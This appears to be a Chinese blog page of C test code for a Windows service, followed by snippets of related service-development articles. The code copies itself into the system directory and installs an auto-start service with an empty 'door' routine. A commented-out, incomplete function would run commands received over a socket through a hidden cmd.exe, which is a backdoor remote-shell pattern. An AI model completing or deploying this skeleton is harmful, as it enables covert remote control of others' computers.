windows服务开发测试代码

源码:

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")
void  WINAPI ServiceMain(DWORD,LPTSTR *);
//DWORD WINAPI CmdService(LPVOID);
//DWORD WINAPI CmdShell(LPVOID);
void WINAPI ServiceCtrlHandler(DWORD Opcode);//服务控制函数
BOOL  InstallCmdService();
void DelServices();
void  door();
//VOID WINAPI EXEBackMain (LPVOID s);
SERVICE_STATUS m_ServiceStatus;
SERVICE_STATUS_HANDLE m_ServiceStatusHandle;
BOOL bRunning=true;

int main(int argc,char *argv[])
{
    SERVICE_TABLE_ENTRY DispatchTable[] =
    {
        {"evin",ServiceMain},//服务程序的名称和入口点(函数)
        {NULL    ,NULL    }//SERVICE_TABLE_ENTRY结构必须以“NULL”结束;
    };
  //  if(argc==1) door();
    if(argc==2) //两个参数,第一个参数是程序本身,第二个是自己输入的。
    {
        if(!stricmp(argv[1],"-i"))//如果第二个参数等于-install
        {
            InstallCmdService();
        }
        else if(!stricmp(argv[1],"-r"))//比较字符串s1和s2,但不区分字母的大小写
        {
            DelServices();
        }

       // return 0;
    }

    StartServiceCtrlDispatcher(DispatchTable);//把入口点的地址传入

	return 0;
}

void door ()
{

//主程序
}

void WINAPI ServiceMain(DWORD dwArgc,LPTSTR *lpArgv) //服务主函数

{
    m_ServiceStatus.dwServiceType = SERVICE_WIN32;
    m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
    m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;;
    m_ServiceStatus.dwWin32ExitCode = 0;
    m_ServiceStatus.dwServiceSpecificExitCode = 0;
    m_ServiceStatus.dwCheckPoint = 0;
    m_ServiceStatus.dwWaitHint = 0;
    m_ServiceStatusHandle = RegisterServiceCtrlHandler("hevin",ServiceCtrlHandler);
    if (m_ServiceStatusHandle == (SERVICE_STATUS_HANDLE)0)return;
    m_ServiceStatus.dwCurrentState = SERVICE_RUNNING; //设置服务状态
    m_ServiceStatus.dwCheckPoint = 0;
    m_ServiceStatus.dwWaitHint = 0;
    //SERVICE_STATUS结构含有七个成员,它们反映服务的现行状态。
    //所有这些成员必须在这个结构被传递到SetServiceStatus之前正确的设置
   if( SetServiceStatus (m_ServiceStatusHandle, &m_ServiceStatus))
    bRunning=true;
    door(); //启动我们的服务程序
    return;
}

void WINAPI ServiceCtrlHandler(DWORD Opcode)//服务控制函数
{
    switch(Opcode)
    {
    case SERVICE_CONTROL_PAUSE:    // we accept the command to pause it
        m_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
        break;
    case SERVICE_CONTROL_CONTINUE:  // we got the command to continue
        m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
        break;
    case SERVICE_CONTROL_STOP:   // we got the command to stop this service
        m_ServiceStatus.dwWin32ExitCode = 0;
        m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
        m_ServiceStatus.dwCheckPoint = 0;
        m_ServiceStatus.dwWaitHint = 0;
        SetServiceStatus (m_ServiceStatusHandle,&m_ServiceStatus);
        bRunning=false;
        break;
    case SERVICE_CONTROL_INTERROGATE:
        break;
    }
    return;
}

BOOL InstallCmdService()//安装服务函数
{
    char strDir[1024];
    SC_HANDLE schSCManager,schService;

    GetCurrentDirectory(1024,strDir);//取当前目录
    GetModuleFileName(NULL,strDir,sizeof(strDir));//取当前文件路径和文件名

    char chSysPath[1024];
    GetSystemDirectory(chSysPath,sizeof(chSysPath));//取系统目录

    strcat(chSysPath,"\\evin.exe");//将svchost.exe拼接到系统目录
    if(CopyFile(strDir,chSysPath,FALSE))printf("Copy file OK\n"); // 把当前服务程序复制到系统根目录为system.exe

    strcpy(strDir,chSysPath);

    schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
    if (schSCManager == NULL)
    {
        printf("open scmanger failed,maybe you do not have the privilage to do this\n");
        return false;
    }

    LPCTSTR lpszBinaryPathName=strDir;
    schService = CreateService(schSCManager,
        "evin",
        "evin", //将服务的信息添加到SCM的数据库
        SERVICE_ALL_ACCESS, // desired access
        SERVICE_WIN32_OWN_PROCESS, // service type
        SERVICE_AUTO_START, // start type
        SERVICE_ERROR_NORMAL, // error control type
        lpszBinaryPathName, // service's binary
        NULL, // no load ordering group
        NULL, // no tag identifier
        NULL, // no dependencies
        NULL, // LocalSystem account
        NULL); // no password 

        if (schService) printf("Install Service Success!\n");
        else
        return false; 

    CloseServiceHandle(schService);
    return true;
}

void DelServices()
{
    char name[100];
    SC_HANDLE scm;
    SC_HANDLE service;
    SERVICE_STATUS status;
    strcpy(name,"evin");

    if((scm=OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE))==NULL)
    {
        printf("OpenSCManager Error ");
    }
    service=OpenService(scm,name,SERVICE_ALL_ACCESS|DELETE);
    if (!service)
    {
        printf("OpenService error! ");
        return;
    }
    BOOL isSuccess=QueryServiceStatus(service,&status);
    if (!isSuccess)
    {
        printf("QueryServiceStatus error! ");
        return;
    }

    if ( status.dwCurrentState!=SERVICE_STOPPED )
    {

        isSuccess=ControlService(service,SERVICE_CONTROL_STOP,&status);
        if (!isSuccess )
            printf("Stop Service error! ");
        Sleep( 500 );

    }

    isSuccess=DeleteService(service);
    if (!isSuccess)
         printf("Delete Service Fail!");
    else
         printf("Delete Service Success! ");

    CloseServiceHandle(service );
    CloseServiceHandle(scm);
}

/////////////////////////////////////////////////////////////////////////////////
/*
VOID WINAPI EXEBackMain (LPVOID s)
//BOOL EXEBackMain (SOCKET sock)
{
    SOCKET sock=(SOCKET)s;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    HANDLE hRead=NULL,hWrite=NULL;
    TCHAR CmdSign[]="\nGood Luck!:\\>";

    while (TRUE)
    {
           TCHAR MsgError[50]={0};     //错误消息缓冲
           TCHAR Cmdline[300]={0};     //命令行缓冲
           TCHAR RecvBuf[1024]={0};    //接收缓冲
           TCHAR SendBuf[2048]={0};    //发送缓冲
           SECURITY_ATTRIBUTES sa;
           DWORD bytesRead=0;
           int ret=0;

           sa.nLength=sizeof(SECURITY_ATTRIBUTES);
           sa.lpSecurityDescriptor=NULL;
           sa.bInheritHandle=TRUE;

           //创建匿名管道
           if (!CreatePipe(&hRead,&hWrite,&sa,0))
           {
               goto Clean;
           }

           si.cb=sizeof(STARTUPINFO);
           GetStartupInfo(&si);
           si.hStdError=hWrite;
           si.hStdOutput=hWrite;    //进程(cmd)的输出写入管道
           si.wShowWindow=SW_HIDE;
           si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

           GetSystemDirectory(Cmdline,sizeof (Cmdline));   //获取系统目录
           strcat(Cmdline,"\\cmd.exe /c ");                //拼接cmd

          // ret=send(sock,CmdSign,sizeof (CmdSign),0);      //向目标发送提示符

           if (ret==SOCKET_ERROR)
           {
              goto Clean;
           }

           ret=recv(sock,RecvBuf,sizeof (RecvBuf),0);       //接收目标数据

           //如果为exit或quit,就退出
           if (strnicmp(RecvBuf,"exit",4)==0||strnicmp(RecvBuf,"quit",4)==0)
           {
               send(sock,BYEBYE,sizeof (BYEBYE),0);
               goto Clean;
           }

           //表示对方已经断开
           if (ret==SOCKET_ERROR)
           {
               goto Clean;
           }

           //表示接收数据出错
           if (ret<=0)
           {
               #ifdef DEBUGMSG
                      sprintf(MsgError,"recv() GetLastError reports %d\n",WSAerron);
                      send(sock,MsgError,sizeof (MsgError),0);
               #endif
               continue;
           }

           Sleep(100);      //休息一下,可要可不要
           strncat(Cmdline,RecvBuf,sizeof (RecvBuf));  //拼接一条完整的cmd命令

           //创建进程,也就是执行cmd命令
           if (!CreateProcess(NULL,Cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi))
           {
              continue;
           }
           CloseHandle(hWrite);
           while (TRUE)
           {
                  //无限循环读取管道中的数据,直到管道中没有数据为止
                  if (ReadFile(hRead,SendBuf,sizeof (SendBuf),&bytesRead,NULL)==0)
                      break;
                  send(sock,SendBuf,bytesRead,0);      //发送出去
                  memset(SendBuf,0,sizeof (SendBuf));  //缓冲清零
                  Sleep(100);                          //休息一下
           }

    }

    Clean:
          //释放句柄
          if (hRead!=NULL)
              CloseHandle(hRead);

          if (hWrite!=NULL)
              CloseHandle(hWrite);

          //释放SOCKET
          if (sock!=NULL)
              closesocket(sock);

          WSACleanup();
          ExitThread(0);
          //return 0;

}

*/
时间: 2024-11-06 20:56:58

windows服务开发测试代码的相关文章

C# Windows服务开发和安装

Microsoft Windows 服务(即,以前的 NT 服务)使您能够创建在它们自己的 Windows 会话中可长时间运行的可执行应用程序.这些服务可以在计算机启动时自动启动,可以暂停和重新启动而且不显示任何用户界面.这使服务非常适合在服务器上使用,或任何时候,为了不影响在同一台计算机上工作的其他用户,需要长时间运行功能时使用.还可以在不同于登录用户的特定用户帐户或默认计算机帐户的安全上下文中运行服务. Windows服务管理器 在Windows系统中,你可以通过在命令行中输入service

C# Windows服务开发从入门到精通

一.课程介绍 大家都知道如果想要程序一直运行在windows服务器上,最好是把程序写成windows服务程序:这样程序会随着系统的自动启动而启动,自动关闭而关闭,不需要用户直接登录,直接开机就可以启动. 今天将给大家带来实际项目中经常运用的技术-C# 如何使用创建Windows服务进行应用程序开发. 本课程适合人群如下: 1.有一定的NET开发基础并对Windows服务编程技术有一定了解和认识. 2.进一步加深提高和扩展对Windows服务编程技术的认识视野. 3.喜欢阿笨的干货分享课程的童鞋们

ASP.NET Core Windows服务开发技术实战演练

一.课程介绍 人生苦短,我用.NET Core!大家都知道如果想要程序一直运行在Windows服务器上,最好是把程序写成Windows服务程序:这样程序会随着系统的自动启动而启动,自动关闭而关闭,不需要用户直接登录,直接开机就可以启动.今天阿笨将给大家带来实如何利用.NET Core跨平台开发技术在Windows操作系统平台上开发我们的Windows服务应用程序以及在Linux操作系统上部署我们的守护进程(daemon)服务,真真的体现.NET Core的跨平台强大之处: 实现一次编译,多平台部

windows服务开发学习

一. window服务是什么 当你单击"开始",执行"services.msc"命令.就会看见如下窗口.它显示的是当前操作系统中系统自带的服务或者第三方软件安装的服务.服务的状态有名称.描述.启动状态.启动类型等等.你也可以在此窗体中管理相关服务,注意谨慎操作,防止系统错误或软件故障. 在此,为了让大家对后面使用的代码项目有个整体了解.整个专案有如下项目: 1.ServerForm: 一个WinForm程序,为window服务MyService测试而调用(永远只弹出

Windows服务开发遇到的问题

1.Windows服务安装 通过cmd运行指令安装Windows服务: 安装方法:运行cmd,以InstallUtil.exe 来运行 Windows服务程序. 如果是Release模式的话,直接在cmd窗口粘贴指令 C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "D:\Project Files\MailSendAuto\MailSendAuto\bin\Release\MailSendAuto.exe"

windows服务开发用到的主要函数详解参考

编程实现 一个完整的服务分为安装服务程序,主体服务程序和卸载服务程序.我们先来写服务的主体部分,示例代码如下: void main() { SERVICE_TABLE_ENTRY ServiceTable[] = { {"scuhkr", BDServiceMain}, {NULL, NULL} //"哨兵" }; //连接到服务控制管理器 StartServiceCtrlDispatcher(ServiceTable); } 路人甲:什么,就这么短?你想侮辱广大鸟

WindowsService(Windows服务)开发步骤附Demo

1.打开VS,新建项目,选择Windows服务,然后设置目录及项目名称后点击确定. 2.展开Service1服务文件,编写service1.cs类文件,不是Service1[设计].然后修改OnStart和OnStop方法. 3.编写服务代码,这里不多说,实现简单写日志的功能...看代码,如不明白,看Demo 4.配置WindowsService安装程序.切换到设计视图,单击右键,出现菜单,单击添加安装程序. 5.在安装程序界面,选择**ProcessInstaller1,然后F4查看属性,Ac

WindowsService(Windows服务)开发步骤附Demo 【转】

转http://www.cnblogs.com/moretry/p/4149489.html 1.打开VS,新建项目,选择Windows服务,然后设置目录及项目名称后点击确定. 2.展开Service1服务文件,编写service1.cs类文件,不是Service1[设计].然后修改OnStart和OnStop方法. 3.编写服务代码,这里不多说,实现简单写日志的功能...看代码,如不明白,看Demo 4.配置WindowsService安装程序.切换到设计视图,单击右键,出现菜单,单击添加安装

vs2015开发Windows服务

工作已经很久,时隔这么长时间写这篇文章是给自己以后做参考.也不至于以后长时间不写Windows服务而忘记整个开发过程.windows服务开发,基础的就不说了,直接上过程. 1.新建windows服务项目,我这里选择的是Framework4.0,没有选择高版本是为了防止在服务在一些低版本系统上无法正常运行. 2.添加Windows服务的安装程序. 在默认Service1设计器界面空白处点击右键->添加安装程序,系统会自动新建一个带有默认配置的安装程序类,如下图: 新建完安装程序后,需要给默认的se